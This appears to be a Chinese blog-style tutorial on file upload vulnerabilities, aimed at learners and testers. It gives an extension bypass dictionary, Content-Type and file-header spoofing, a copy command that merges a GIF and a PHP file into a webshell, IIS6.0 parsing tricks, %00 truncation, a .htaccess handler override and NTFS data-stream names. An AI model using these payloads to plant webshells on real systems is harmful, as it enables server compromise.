文件上传漏洞

文件上传漏洞

文件上传过程

客户端选择发送的文件–>服务器接收–>网站程序判断–>临时文件–>移动到指定的路径

文件上传错误码

0:成功

1:文件大小超过php.ini中upload_max_filesize选择限制的值

2:文件大小超过了HTML表单中MAX_FILE_SIIZE选项指定的值

3:文件只有部分被上传

4:没有文件被上传

网站常见后缀名

asp、asa、cdx、cer、php、aspx、ashx、php3、php.a、shtml、phtml、htm

过滤的时候可以传入aspasp、phpphp

大小写转换

造成漏洞的原因

  • 程序代码和系统缺陷
    • 文件可以直接上传
    • js脚本限制,禁止js文件运行
    • 黑名单过滤不全,穷举后缀名
      • 黑名单:asp、asa、cdx、cer、php、aspx、ashx
      • 白名单:jpg、png、gif等
    • 文件名可控,后缀名不可控,iss6.0解析漏洞

文件名未做任何限制

可以任意上传文件

客户端js验证绕过

查看浏览器控制台Network,上传非法文件时报错Network没有显示,即为js验证。

绕过

  • 简单的控制台修改一下html代码,绕过js检查type="button"直接改为type=",再把 onclick="return check_file();" 删除即可。
  • 上传图片,抓包,把图片数据改为代码,文件名相应更改,即可上传。

黑白名单绕过

黑名单是禁止上传后缀,白名单允许上传,实际应用中黑名单为主。

网站文件上传后缀字典,可以再修改,更改大小写,随即大小写之类

php
php2
php3
php4
php5
pHp
pHp2
pHp3
pHp4
pHp5
html
htm
phtml
pht
Html
Htm
pHtml
asp
aspx
asa
asax
ashx
asmx
cer
aSp
aSpx
aSa
aSax
aScx
aShx
aSmx
cEr
jsp
jspa
jspx
jsw
jxv
jspf
jtml
JSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp/test.jpg
asp;.jpg
cer/test.jpg
cer;.jpg
asa/test.jpg
asa;.jpg
aSp/test.jpg
aSp;.jpg
cEr/test.jpg
cEr;.jpg
aSa/test.jpg
aSa;.jpg
jpg/xx.php
jpg/xx.pHp
jpg/.php
jpg/.pHp
php.xs.aa
php2.aa
php3.aa
php4.aa
php5.aa
pHp.aa
pHp2.aa
pHp3.aa
pHp4.aaa
pHp5.aa
html.aa
htm.aa
phtml.aa
pht.aaa
Html.aaa
Htm.aa
pHtml.aa
php::$DATA
aspasp
phpphps

穷举出可以成功上传的文件后缀

content-type检测突破上传

抓包,修改http文件类型

常见图片类型:image/pjpeg,image/bmp,image/gif,image/x-png,image/jpeg,image/jpg

例如:Content-Type: image/pjpeg

文件头检测突破上传

JPEG(jpg):FFD8FF

PNG(png):89504E47

TIFF(tif):47492A00

Windows Bitmap(bmp):424D

GIF(gif):474946

文件头修改

制作图片一句话

copy 1.gif/b + 2.php shell.php

IIS6.0文件名解释漏洞

文件名可控,后缀名不可控

rick.asp;.jpg rick.asp;jpg(适情况选择)

抓包改文件名,顺手改了文件类型,直接访问rick.asp;.jpg可以成功(php同理)。

目录解析漏洞

文件夹名为asp、cer、asa、cdx结尾,如xxx.asp,这样文件夹下的asp

例子:

在xx.asp文件夹下都是以asp文件解析

抓包,改filepath,改content-type,改文件后缀,send,得到xxxx.jpg

即使是.asp文件也一样可以连接webshell

%00截断

  • 直接截断文件名
  • 创建可控目录,%00截断创建目录,利用IIS6.0解析漏洞上传
  • 截断参数

例子:rick.php%00.jpg,把%00进行URL解码

也可通过更改默认文件名的开头,截断后面的文件名内容,参数c改为rick.%00

条件:PHP<5.3.29,且GPC关闭

重写解析

此漏洞环境:

phpstudy2018搭建网站
php5.6以下不带nts的版本

apache开启了重写模块

LoadModule rewrite_module modules/mod_rewrite.so

重写解析 .htaccess

<FileMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传一句话图片马,访问可以成功

系统特性突破上传

系统特性

一般上传时防火墙会做拦截,

冒号:,rick.php:.jpg上传生成的是名为rick.php空白文件

利用php和windows系统的叠加特性,以下符号在正则匹配时的相等性

双引号"=.

大于号>=?ss

小于号<=*

文件名.<.<<<文件名.>>文件名.>><

前面生成的空白文件,用这种方法就可以写入

NTFS交换数据流

xxx.php:$DATA 创建文件

xxx.php::$DATA 创建和写入

程序逻辑造成双文件

双文件上传:上传时,第一个为jpg第二个为php可以成功上传php(俩堆了一起,按前面的处理)

空格文件上传:抓包,在文件名后加空格

配置错误

  • 1.jpg/php

IIS7.0/IIS7.5/nginx开启fast-cqi

  • /2.jpg%00php

nginx <= 0.83

补充

windows会把文件最后一个点自动去掉

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RICKC131

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值